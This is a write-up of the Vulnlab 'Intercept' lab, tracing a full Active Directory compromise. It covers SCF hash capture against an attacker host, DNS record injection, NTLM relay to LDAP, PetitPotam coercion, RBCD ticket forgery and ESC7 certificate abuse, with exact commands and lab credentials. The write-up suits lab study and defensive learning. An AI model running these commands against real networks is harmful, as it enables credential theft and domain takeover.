Vulnlab - Intercept
Intercept is a chain of machines consisting of two Windows servers. Initial access is gained via an SCF attack, compromising the account of a domain user.
With this access, several notable elements are observed:
- the domain controller does not enforce LDAP signing,
- the compromised user has the necessary rights to join a machine to the domain,
- one of the servers is vulnerable to PetitPotam and has the WebClient service enabled.
By combining these vulnerabilities, a Relay (RCBD) attack can be carried out to compromise the target server. This recovers the credentials of an account member of the CA Managers group, whose privileges can then be exploited to carry out a ESC7 attack and completely compromise the infrastructure.
SCF Attack
To begin with, we run an nxc scan to identify the various machines on the network. This reveals that one of the machines does not have the SMB signature enabled, opening the door to relay-type attacks.
Next, we notice that authentication in anonymous mode and the guest account are disabled. On the other hand, if you authenticate with an account that doesn’t exist on the WS01 server, you’re automatically mapped to the guest account, enabling you to enumerate SMB shares.
By listing shares, we can see that the dev share is regularly consulted by users.
To exploit this, we can carry out a scf attack, which consists in exploiting the ability of certain Windows files (scf, lnk, ini) to trigger a remote authentication attempt when a user accesses the directory where they have been deposited. To do this, the file must contain a special command (often Iconfile=\attacker_ip\share\icon.ico) which forces the system to access a remote resource.
To generate this type of file, you can use the ntlm_theft tool.
Then, by dropping the file into the dev share, you can quickly retrieve the NetNTLMv2 hash of the KATHRYN.SPENCER account.
We can then break the recovered hash and obtain the account password.
LDAP Relay
Having analyzed the resources and rights of the compromised account, we can see that it has no special rights. We can then analyze the various configurations of the domain’s machines to identify that the DC did not have the LDAP signature activated, which exposes it to Relay-type attacks.
To exploit the absence of an LDAP signature, you can attempt to carry out an RCBD attack on one of the domain’s machines. To do this, 3 conditions must be met
- Control an account with an SPN
- be able to relay the authentication of a machine account to LDAP
- Be able to force a machine to authenticate with us
For the first point, we can try to obtain an account with an SPN by adding a machine account to the domain, which is possible by default for all domain users. You can check whether this is possible by retrieving the MachineAccountQuota attribute.
We can see that the MachineAccountQuota is set to 10, which means that any authenticated user can add up to 10 machines to the domain: the first prerequisite is therefore fulfilled.
With regard to the second point, there are two possible approaches:
- Intercept LDAP authentication of a machine account, which is unlikely here, as DNS poisoning is not possible in this context.
- Force a machine to authenticate with us and relay this authentication to the domain controller.
However, it is impossible to relay SMB authentication to LDAP due to the presence of MIC (Message Integrity Code).
The MIC is a mechanism introduced in the NTLMv2 protocol which guarantees the integrity of the authentication exchange. It protects the NTLM response against any modification, particularly when relayed to another service. When MIC is present, the LDAP server detects that the authentication has been hijacked and rejects it.
On the other hand, it is possible to relay HTTP authentication to LDAP, as the HTTP protocol does not support MIC. This means that NTLM relay HTTP to LDAP can still be used, as long as LDAP signing is not enabled on the domain controller.
This type of relay is made possible by the Webclient service, enabled by default on many Windows machines. It enables the machine to automatically connect to remote WebDav shares (e.g. \attacker@80\webdav) using the HTTP protocol and NTLM authentication. This HTTP authentication can then be intercepted and relayed to LDAP.
To check whether this attack is possible, we start by checking whether the WebClient service is enabled on one of the machines.
As the service is activated on the WS01 machine, the attack becomes possible. However, there is one important limitation: the target machine will not automatically authenticate to a resource identified by an IP address if it is not part of the trusted zone in the Windows security settings.
To trigger NTLM authentication, the target must contact a DNS name considered internal or trusted. To get around this, we can exploit the ability of any domain user to create a DNS record in the Active Directory zone.
To achieve this, use dnstool with the following command:
1 | python3 dnstool.py ldap://10.10.214.245 -u 'intercept.vl\kathryn.spencer' -p 'Chocolate1' -r pentest.intercept.vl -d 10.8.6.80 -a add -dns-ip 10.10.214.245 |
You can check that this has worked with the following command:
1 | python3 dnstool.py ldap://10.10.214.245 -u 'intercept.vl\kathryn.spencer' -p 'Chocolate1' -r pentest.intercept.vl -a query |
Next, we can run ntlm with the --delegate-access option, which lets us use the relayed machine account to add a new machine to the domain and add it to the trusted list of the relayed machine account.
1 | impacket-ntlmrelayx -t ldap://10.10.214.245 -smb2support --delegate-access |
Once the above conditions have been met, all that’s left to do is to trigger NTLM authentication from the machine to the attacker, which can be done with petitPotam.
PetitPotam is a tool that exploits a vulnerability in the EFSRPC (Encryptiong File System Remote Protocol) interface exposed via DCOM/RPC on Windows machines.
By calling a specific function of the protocol (EfsRpcOpenFileRaw), the attacker can ask the target machine to access an arbitrary UNC path, which triggers NTLM authentication of the machine to the address provided.
Thus, by specifying a Webdav path, NTLM authentication can be retrieved via HTTP.
1 | python3 petitpotam.py -u kathryn.spencer -p Chocolate1 -d intercept.vl pentest@80/test 10.10.214.246 |
This allows you to usurp the identity of the WS01 machine from the DC, add a machine account and modify the WS01 trust list to perform a RCBD attack.
RCBD Attack
We can then check that the msDS-AllowedToActOnBehalfOfOtherIdentity attribute has been modified with the command:
1 | impacket-rbcd -action read -dc-ip 10.10.214.245 intercep.vl/'VDSXSAGG$':'b5e1X8t!>#56VND' -delegate-to 'WS01$' |
Finally, you can forge a ticket as a domain administrator to authenticate on WS01.
1 | impacket-getST -dc-ip 10.10.214.245 -spn 'cifs/WS01.INTERCEPT.VL' intercept.vl/'VDSXSAGG$':'b5e1X8t!>#56VND' -impersonate administrator |
With this ticket, you can then compromise the machine
If you’re the machine’s administrator, you can retrieve the machine’s LSA database and the password for the simon.bowen account.
ESC7
Bloodhound then lets us see that this account has GenericAll rights to the CA-Managers group, enabling it to add or remove members to this group.
Using certipy, we can see that members of the ca-managers group have manageCA rights to the certification authority.
Thus, by adding the simon.bowen account to the ca-managers group, we can carry out an ESC7 attack.
1 | net rpc group addmem "ca-managers" "simon.bowen" -U "intercept.vl"/"Simon.bowen"%"b0OI_fHO859+Aw" -S "10.10.214.245" |
To carry out an ESC7 attack, we use the ManageCA right to assign ourselves the ManageCertificates right on an Active Directory Certification Authority (AD CS).
This right allows a user to:
- enable or disable certificate templates**,
- manually validate pending requests** for certificates.
This mechanism can be used to recover a certificate as administrator, even if the user does not initially have the right to use a given template.
To begin with, we use certipy-ad to add the user Simon.Bowen as certificate officer:
1 | └─$ certipy-ad ca -ca intercept-DC01-CA -dc-ip 10.10.214.245 -u Simon.Bowen -p 'b0OI_fHO859+Aw' -add-officer simon.bowen |
We then try to request a certificate using the template "SubCA", which is vulnerable to ESC1.
This vulnerability makes it possible to manually define an arbitrary UPN (User Principal Name), and thus have a certificate issued to any user, in this case [email protected].
1 | └─$ certipy-ad req -ca intercept-DC01-CA -dc-ip 10.10.214.245 -u Simon.Bowen -p 'b0OI_fHO859+Aw' -template SubCA -target DC01.Intercept.vl -upn [email protected] |
The request fails because Simon.Bowen does not have enrollment rights on the “SubCA” template.
However, the request is registered with ID 7, which is sufficient to retrieve and validate it manually.
As Certificate Officer, Simon Bowen can approve the request manually using his Request ID :
1 | ─$ certipy-ad ca -ca intercept-DC01-CA -dc-ip 10.10.214.245 -u Simon.Bowen -p 'b0OI_fHO859+Aw' -issue-request 7 |
Now simply retrieve the certificate with :
1 | ─$ certipy-ad req -ca intercept-DC01-CA -dc-ip 10.10.214.245 -u Simon.Bowen -p 'b0OI_fHO859+Aw' -template SubCA -target DC01.Intercept.vl -upn [email protected] -retrieve 7 |
With the certificate, you can then compromise the domain:
